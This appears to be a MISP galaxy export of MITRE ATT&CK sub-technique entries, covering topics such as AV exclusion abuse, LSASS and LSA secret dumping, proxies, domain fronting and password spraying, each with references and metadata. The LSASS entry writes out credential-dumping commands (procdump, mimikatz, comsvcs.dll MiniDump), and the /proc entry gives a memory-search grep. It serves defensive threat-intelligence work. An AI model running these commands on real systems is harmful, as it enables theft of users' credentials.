Adversaries may attempt to hide their file-based artifacts by writing them to specific folders or file names excluded from antivirus (AV) scanning and other defensive capabilities. AV and other file-based scanners often include exclusions to optimize performance as well as ease installation and legitimate use of applications. These exclusions may be contextual (e.g., scans are only initiated in response to specific triggering events/alerts), but are also often hardcoded strings referencing specific folders and/or files assumed to be trusted and legitimate.(Citation: Microsoft File Folder Exclusions)
Adversaries may abuse these exclusions to hide their file-based artifacts. For example, rather than tampering with tool settings to add a new exclusion (i.e., Disable or Modify Tools), adversaries may drop their file-based payloads in default or otherwise well-known exclusions. Adversaries may also use Security Software Discovery and other Discovery/Reconnaissance activities to both discover and verify existing exclusions in a victim environment.
Internal MISP references
UUID 09b008a9-b4eb-462a-a751-a0eb58050cd9 which can be used as unique global reference for File/Path Exclusions - T1564.012 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1564.012 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['File: File Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Junk Data - T1001.001
Adversaries may add junk data to protocols used for command and control to make detection more difficult.(Citation: FireEye SUNBURST Backdoor December 2020) By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters.
Internal MISP references
UUID f7c0689c-4dbd-489b-81be-7cb7c7079ade which can be used as unique global reference for Junk Data - T1001.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1001.001 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Traffic Duplication - T1020.001
Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)
Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through ROMMONkit or Patch System Image.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)
Many cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP)
Adversaries may use traffic duplication in conjunction with Network Sniffing, Input Capture, or Adversary-in-the-Middle depending on the goals and objectives of the adversary.
Internal MISP references
UUID 7c46b364-8496-4234-8a56-f7e6727e21e1 which can be used as unique global reference for Traffic Duplication - T1020.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1020/001 - webarchive
- https://cloud.google.com/vpc/docs/packet-mirroring - webarchive
- https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 - webarchive
- https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html - webarchive
- https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview - webarchive
- https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html - webarchive
- https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html - webarchive
- https://www.us-cert.gov/ncas/alerts/TA18-106A - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1020.001 |
| kill_chain | ['attack-Network:exfiltration', 'attack-IaaS:exfiltration'] |
| mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Network', 'IaaS'] |
Related clusters
To see the related clusters, click here.
LSASS Memory - T1003.001
Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement using Use Alternate Authentication Material.
As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.
For example, on the target host use procdump:
procdump -ma lsass.exe lsass_dump
Locally, mimikatz can be run using:
sekurlsa::Minidump lsassdump.dmpsekurlsa::logonPasswords
Built-in Windows tools such as comsvcs.dll can also be used:
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID lsass.dmp full(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)
Similar to Image File Execution Options Injection, the silent process exit mechanism can be abused to create a memory dump of lsass.exe through Windows Error Reporting (WerFault.exe).(Citation: Deep Instinct LSASS)
Windows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)
The following SSPs can be used to access credentials:
- Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.
- Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)
- Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.
- CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)
Internal MISP references
UUID 65f2d882-3f41-4d48-8a06-29af77ec9f90 which can be used as unique global reference for LSASS Memory - T1003.001 in MISP communities and other software using the MISP galaxy
External references
- http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html - webarchive
- https://attack.mitre.org/techniques/T1003/001 - webarchive
- https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/ - webarchive
- https://github.com/mattifestation/PowerSploit - webarchive
- https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea - webarchive
- https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf - webarchive
- https://www.deepinstinct.com/blog/lsass-memory-dumps-are-stealthier-than-ever-before-part-2 - webarchive
- https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1003.001 |
| kill_chain | ['attack-Windows:credential-access'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'Logon Session: Logon Session Creation', 'Process: OS API Execution', 'Process: Process Access', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Protocol Impersonation - T1001.003
Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic.
Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity.
Internal MISP references
UUID c325b232-d5bc-4dde-a3ec-71f3db9e8adc which can be used as unique global reference for Protocol Impersonation - T1001.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1001.003 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-Windows:command-and-control', 'attack-macOS:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| mitre_platforms | ['Linux', 'Windows', 'macOS'] |
Related clusters
To see the related clusters, click here.
Internal Proxy - T1090.001
Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.
By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.
Internal MISP references
UUID f6dacc85-b37d-458e-b58d-74fc4bbf5755 which can be used as unique global reference for Internal Proxy - T1090.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1090.001 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control', 'attack-Network:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Related clusters
To see the related clusters, click here.
External Proxy - T1090.002
Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.
External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.
Internal MISP references
UUID 69b8fd78-40e8-4600-ae4d-662c9d7afdb3 which can be used as unique global reference for External Proxy - T1090.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1090.002 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control', 'attack-Network:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Related clusters
To see the related clusters, click here.
LSA Secrets - T1003.004
Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)
Reg can be used to extract from the Registry. Mimikatz can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)
Internal MISP references
UUID 1ecfdab8-7d59-4c98-95d4-dc41970f57fc which can be used as unique global reference for LSA Secrets - T1003.004 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1003/004 - webarchive
- https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN - webarchive
- https://github.com/mattifestation/PowerSploit - webarchive
- https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets - webarchive
- https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf - webarchive
- https://www.passcape.com/index.php?section=docsys&cmd=details&id=23 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1003.004 |
| kill_chain | ['attack-Windows:credential-access'] |
| mitre_data_sources | ['Command: Command Execution', 'Windows Registry: Windows Registry Key Access'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Proc Filesystem - T1003.007
Adversaries may gather credentials from the proc filesystem or /proc. The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. For each process, the /proc/<PID>/maps file shows how memory is mapped within the process’s virtual address space. And /proc/<PID>/mem, exposed for debugging purposes, provides access to the process’s virtual address space.(Citation: Picus Labs Proc cump 2022)(Citation: baeldung Linux proc map 2022)
When executing with root privileges, adversaries can search these memory locations for all processes on a system that contain patterns indicative of credentials. Adversaries may use regex patterns, such as grep -E "^[0-9a-f-]* r" /proc/"$pid"/maps | cut -d' ' -f 1, to look for fixed strings in memory structures or cached hashes.(Citation: atomic-red proc file system) When running without privileged access, processes can still view their own virtual memory locations. Some services or programs may save credentials in clear text inside the process’s memory.(Citation: MimiPenguin GitHub May 2017)(Citation: Polop Linux PrivEsc Gitbook)
If running as or with the permissions of a web browser, a process can search the /maps & /mem locations for common website credential patterns (that can also be used to find adjacent memory within the same structure) in which hashes or cleartext credentials may be located.
Internal MISP references
UUID 3120b9fa-23b8-4500-ae73-09494f607b7d which can be used as unique global reference for Proc Filesystem - T1003.007 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1003/007 - webarchive
- https://book.hacktricks.xyz/linux-hardening/privilege-escalation#proc-usdpid-maps-and-proc-usdpid-mem - webarchive
- https://github.com/huntergregal/mimipenguin - webarchive
- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.007/T1003.007.md - webarchive
- https://www.baeldung.com/linux/proc-id-maps - webarchive
- https://www.picussecurity.com/resource/the-mitre-attck-t1003-os-credential-dumping-technique-and-its-adversary-use - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1003.007 |
| kill_chain | ['attack-Linux:credential-access'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access'] |
| mitre_platforms | ['Linux'] |
Related clusters
To see the related clusters, click here.
File Deletion - T1070.004
Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in Command and Scripting Interpreter functions include del on Windows and rm or unlink on Linux and macOS.
Internal MISP references
UUID d63a3fb8-9452-4e9d-a60a-54be68d5998c which can be used as unique global reference for File Deletion - T1070.004 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1070.004 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Deletion'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Domain Fronting - T1090.004
Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, "domainless" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).
For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.
Internal MISP references
UUID ca9d3402-ada3-484d-876a-d717bd6e05f2 which can be used as unique global reference for Domain Fronting - T1090.004 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1090.004 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Clear Persistence - T1070.009
Adversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity. This may involve various actions, such as removing services, deleting executables, Modify Registry, Plist File Modification, or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence.(Citation: Cylance Dust Storm) Adversaries may also delete accounts previously created to maintain persistence (i.e. Create Account).(Citation: Talos - Cisco Attack 2022)
In some instances, artifacts of persistence may also be removed once an adversary’s persistence is executed in order to prevent errors with the new instance of the malware.(Citation: NCC Group Team9 June 2020)
Internal MISP references
UUID d2c4e5ea-dbdf-4113-805a-b1e2a337fb33 which can be used as unique global reference for Clear Persistence - T1070.009 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1070/009 - webarchive
- https://blog.talosintelligence.com/recent-cyber-attack/ - webarchive
- https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/ - webarchive
- https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1070.009 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Deletion', 'File: File Modification', 'Process: Process Creation', 'Scheduled Job: Scheduled Job Modification', 'User Account: User Account Deletion', 'Windows Registry: Windows Registry Key Deletion', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Password Guessing - T1110.001
Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.
Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)
Typically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:
- SSH (22/TCP)
- Telnet (23/TCP)
- FTP (21/TCP)
- NetBIOS / SMB / Samba (139/TCP & 445/TCP)
- LDAP (389/TCP)
- Kerberos (88/TCP)
- RDP / Terminal Services (3389/TCP)
- HTTP/HTTP Management Services (80/TCP & 443/TCP)
- MSSQL (1433/TCP)
- Oracle (1521/TCP)
- MySQL (3306/TCP)
- VNC (5900/TCP)
- SNMP (161/UDP and 162/TCP/UDP)
In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as wlanAPI) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)
In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.
Internal MISP references
UUID 09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119 which can be used as unique global reference for Password Guessing - T1110.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1110/001 - webarchive
- https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf - webarchive
- https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/emotet-now-spreads-via-wi-fi - webarchive
- https://www.us-cert.gov/ncas/alerts/TA18-086A - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1110.001 |
| kill_chain | ['attack-Windows:credential-access', 'attack-Azure-AD:credential-access', 'attack-Office-365:credential-access', 'attack-SaaS:credential-access', 'attack-IaaS:credential-access', 'attack-Linux:credential-access', 'attack-macOS:credential-access', 'attack-Google-Workspace:credential-access', 'attack-Containers:credential-access', 'attack-Network:credential-access'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'User Account: User Account Authentication'] |
| mitre_platforms | ['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers', 'Network'] |
Related clusters
To see the related clusters, click here.
Password Cracking - T1110.002
Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. OS Credential Dumping can be used to obtain password hashes, this may only get an adversary so far when Pass the Hash is not an option. Further, adversaries may leverage Data from Configuration Repository in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A)
Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.
Internal MISP references
UUID 1d24cdee-9ea2-4189-b08e-af110bf2435d which can be used as unique global reference for Password Cracking - T1110.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1110.002 |
| kill_chain | ['attack-Linux:credential-access', 'attack-macOS:credential-access', 'attack-Windows:credential-access', 'attack-Office-365:credential-access', 'attack-Azure-AD:credential-access', 'attack-Network:credential-access'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'User Account: User Account Authentication'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Office 365', 'Azure AD', 'Network'] |
Related clusters
To see the related clusters, click here.
Password Spraying - T1110.003
Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)
Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:
- SSH (22/TCP)
- Telnet (23/TCP)
- FTP (21/TCP)
- NetBIOS / SMB / Samba (139/TCP & 445/TCP)
- LDAP (389/TCP)
- Kerberos (88/TCP)
- RDP / Terminal Services (3389/TCP)
- HTTP/HTTP Management Services (80/TCP & 443/TCP)
- MSSQL (1433/TCP)
- Oracle (1521/TCP)
- MySQL (3306/TCP)
- VNC (5900/TCP)
In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)
In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.
Internal MISP references
UUID 692074ae-bb62-4a5e-a735-02cb6bde458c which can be used as unique global reference for Password Spraying - T1110.003 in MISP communities and other software using the MISP galaxy
External references
- http://www.blackhillsinfosec.com/?p=4645 - webarchive
- https://attack.mitre.org/techniques/T1110/003 - webarchive
- https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing - webarchive
- https://www.us-cert.gov/ncas/alerts/TA18-086A - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1110.003 |
| kill_chain | ['attack-Windows:credential-access', 'attack-Azure-AD:credential-access', 'attack-Office-365:credential-access', 'attack-SaaS:credential-access', 'attack-IaaS:credential-access', 'attack-Linux:credential-access', 'attack-macOS:credential-access', 'attack-Google-Workspace:credential-access', 'attack-Containers:credential-access', 'attack-Network:credential-access'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'User Account: User Account Authentication'] |
| mitre_platforms | ['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers', 'Network'] |
Related clusters
To see the related clusters, click here.
Credential Stuffing - T1110.004
Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.
Credential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.
Typically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:
- SSH (22/TCP)
- Telnet (23/TCP)
- FTP (21/TCP)
- NetBIOS / SMB / Samba (139/TCP & 445/TCP)
- LDAP (389/TCP)
- Kerberos (88/TCP)
- RDP / Terminal Services (3389/TCP)
- HTTP/HTTP Management Services (80/TCP & 443/TCP)
- MSSQL (1433/TCP)
- Oracle (1521/TCP)
- MySQL (3306/TCP)
- VNC (5900/TCP)
In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)
Internal MISP references
UUID b2d03cea-aec1-45ca-9744-9ee583c1e1cc which can be used as unique global reference for Credential Stuffing - T1110.004 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1110.004 |
| kill_chain | ['attack-Windows:credential-access', 'attack-Azure-AD:credential-access', 'attack-Office-365:credential-access', 'attack-SaaS:credential-access', 'attack-IaaS:credential-access', 'attack-Linux:credential-access', 'attack-macOS:credential-access', 'attack-Google-Workspace:credential-access', 'attack-Containers:credential-access', 'attack-Network:credential-access'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'User Account: User Account Authentication'] |
| mitre_platforms | ['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers', 'Network'] |
Related clusters
To see the related clusters, click here.
Web Protocols - T1071.001
Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Protocols such as HTTP/S(Citation: CrowdStrike Putter Panda) and WebSocket(Citation: Brazking-Websockets) that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.
Internal MISP references
UUID df8b2a25-8bdf-4856-953c-a04372b1c161 which can be used as unique global reference for Web Protocols - T1071.001 in MISP communities and other software using the MISP galaxy
External references
- http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf - webarchive
- https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - webarchive
- https://attack.mitre.org/techniques/T1071/001 - webarchive
- https://securityintelligence.com/posts/brazking-android-malware-upgraded-targeting-brazilian-banks/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1071.001 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control', 'attack-Network:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Related clusters
To see the related clusters, click here.
Bidirectional Communication - T1102.002
Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet.
Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Internal MISP references
UUID be055942-6e63-49d7-9fa1-9cb7d8a8f3f4 which can be used as unique global reference for Bidirectional Communication - T1102.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1102.002 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Malicious Link - T1204.001
An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Link. Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via Exploitation for Client Execution. Links may also lead users to download files that require execution via Malicious File.
Internal MISP references
UUID ef67e13e-5598-4adc-bdb2-998225874fa9 which can be used as unique global reference for Malicious Link - T1204.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1204.001 |
| kill_chain | ['attack-Linux:execution', 'attack-macOS:execution', 'attack-Windows:execution'] |
| mitre_data_sources | ['File: File Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Port Knocking - T1205.001
Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.
This technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.
